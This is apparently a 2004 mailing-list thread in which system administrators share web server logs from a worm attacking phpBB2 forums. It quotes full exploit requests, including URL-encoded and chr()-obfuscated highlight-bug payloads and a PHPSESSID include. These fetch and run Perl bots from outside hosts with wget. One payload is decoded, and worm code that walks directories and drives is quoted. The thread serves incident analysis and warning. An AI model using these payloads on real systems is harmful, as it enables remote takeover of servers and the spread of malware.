>HTTP/1.1" 200 20767 "-" "LWP::Simple/5.803"
>205.214.85.184 - - [24/Dec/2004:19:10:18 +0100] "GET
>/phpBB2/viewtopic.php?p=7222&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd% 20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%4 4%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48% 54%54%50
%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.% 2527
>HTTP/1.1" 200 20875 "-" "LWP::Simple/5.802"
>
>Loads of those, and all request the files from civa.org
>
>This is on a patched phpbb2, so be aware!!
>
I can confirm a changed version of this attack also. It didn't use the phpBB highlight bug but something different, looks like somekind of PHPSESSID injecting:

GET /knjiga.php?id=8043/antikvarijati.php?PHPSESSID=http://www.visualcoders.net/spy.gif?&cmd=cd%20/tmp;wget%20www.visualcoders.net/spybot.txt;wget%20www.visualcoders.net/worm1.txt;wget%20www.visualcoders.net/php.txt;wget%20www.visualcoders.net/ownz.txt;wg
et%20www.visualcoders.net/zone.txt;perl%20spybot.txt;perl%20worm1.txt;perl%2 0ownz.txt;perl%20php.txt HTTP/1.1" 200 20674 "-" "LWP::Simple/5.803"

*** This is on PHP 4.3.10, all phpBB2 are 2.0.11 ***

After sucsessfull wget-ing, one of files "worm.txt", is using google to find vulnerable phpBB2 (highlight bug) forums and use this:

$wb = '&highlight=%2527%252esystem(chr(99)%252echr(100)%25 2echr(32)%252echr(47)%252echr(116)%252echr(109)%25 2echr(112)%2
52echr(59)%252echr(119)%252echr(103)%252echr(101)% 252echr(116)%252echr(32)%252echr(119)%252echr(119) %252echr(119)%252ech
r(46)%252echr(118)%252echr(105)%252echr(115)%252ec hr(117)%252echr(97)%252echr(108)%252echr(99)%252ec hr(111)%252echr(100)
%252echr(101)%252echr(114)%252echr(115)%252echr(46 )%252echr(110)%252echr(101)%252echr(116)%252echr(4 7)%252echr(115)%252e
chr(112)%252echr(121)%252echr(98)%252echr(111)%252 echr(116)%252echr(46)%252echr(116)%252echr(120)%25 2echr(116)%252echr(5
9)%252echr(119)%252echr(103)%252echr(101)%252echr( 116)%252echr(32)%252echr(119)%252echr(119)%252echr (119)%252echr(46)%25
2echr(118)%252echr(105)%252echr(115)%252echr(117)% 252echr(97)%252echr(108)%252echr(99)%252echr(111)% 252echr(100)%252echr
(101)%252echr(114)%252echr(115)%252echr(46)%252ech r(110)%252echr(101)%252echr(116)%252echr(47)%252ec hr(119)%252echr(111)
%252echr(114)%252echr(109)%252echr(49)%252echr(46) %252echr(116)%252echr(120)%252echr(116)%252echr(59 )%252echr(119)%252ec
hr(103)%252echr(101)%252echr(116)%252echr(32)%252e chr(119)%252echr(119)%252echr(119)%252echr(46)%252 echr(118)%252echr(10
5)%252echr(115)%252echr(117)%252echr(97)%252echr(1 08)%252echr(99)%252echr(111)%252echr(100)%252echr( 101)%252echr(114)%25
2echr(115)%252echr(46)%252echr(110)%252echr(101)%2 52echr(116)%252echr(47)%252echr(112)%252echr(104)% 252echr(112)%252echr
(46)%252echr(116)%252echr(120)%252echr(116)%252ech r(59)%252echr(119)%252echr(103)%252echr(101)%252ec hr(116)%252echr(32)%
252echr(119)%252echr(119)%252echr(119)%252echr(46) %252echr(118)%252echr(105)%252echr(115)%252echr(11 7)%252echr(97)%252ec
hr(108)%252echr(99)%252echr(111)%252echr(100)%252e chr(101)%252echr(114)%252echr(115)%252echr(46)%252 echr(110)%252echr(10
1)%252echr(116)%252echr(47)%252echr(111)%252echr(1 19)%252echr(110)%252echr(122)%252echr(46)%252echr( 116)%252echr(120)%25
2echr(116)%252echr(59)%252echr(119)%252echr(103)%2 52echr(101)%252echr(116)%252echr(32)%252echr(119)% 252echr(119)%252echr
(119)%252echr(46)%252echr(118)%252echr(105)%252ech r(115)%252echr(117)%252echr(97)%252echr(108)%252ec hr(99)%252echr(111)%
252echr(100)%252echr(101)%252echr(114)%252echr(115 )%252echr(46)%252echr(110)%252echr(101)%252echr(11 6)%252echr(47)%252ec
hr(122)%252echr(111)%252echr(110)%252echr(101)%252 echr(46)%252echr(116)%252echr(120)%252echr(116)%25 2echr(59)%252echr(11
2)%252echr(101)%252echr(114)%252echr(108)%252echr( 32)%252echr(115)%252echr(112)%252echr(121)%252echr (98)%252echr(111)%25
2echr(116)%252echr(46)%252echr(116)%252echr(120)%2 52echr(116)%252echr(59)%252echr(112)%252echr(101)% 252echr(114)%252echr
(108)%252echr(32)%252echr(119)%252echr(111)%252ech r(114)%252echr(109)%252echr(49)%252echr(46)%252ech r(116)%252echr(120)%
252echr(116)%252echr(59)%252echr(112)%252echr(101) %252echr(114)%252echr(108)%252echr(32)%252echr(111 )%252echr(119)%252ec
hr(110)%252echr(122)%252echr(46)%252echr(116)%252e chr(120)%252echr(116)%252echr(59)%252echr(112)%252 echr(101)%252echr(11
4)%252echr(108)%252echr(32)%252echr(112)%252echr(1 04)%252echr(112)%252echr(46)%252echr(116)%252echr( 120)%252echr(116))%2
52e%2527';

That "decodes" into:

cd /tmp;wget www.visualcoders.net/spybot.txt;wget www.visualcoders.net/worm1.txt;wget www.visualcoders.net/php.txt;wget www.visualcoders.net/ownz.txt;wget www.visualcoders.net/zone.txt;perl spybot.txt;perl worm1.txt;perl ownz.txt;perl php.txt
Chris Ess
25/12/04, 20:45
> eval{
> while(my @a = getpwent()) { push(@dirs, $a[7]);}
> };
>
> push(@dirs, '/ ');

[...]

> Additionally, on Windows the worm would affect files on a single disk.

In generation 9 of the worm, there is the following code after what you
include:

for my $l ('A' .. 'Z') {
push(@dirs, $l . ':');
}

What I get out of this is that the worm should try iterating down every
available drive on a Windows server. I haven't tested this on a Windows
machine running ActivePerl yet though.

Sincerely,


Chris Ess
System Administrator / CDTT (Certified Duct Tape Technician)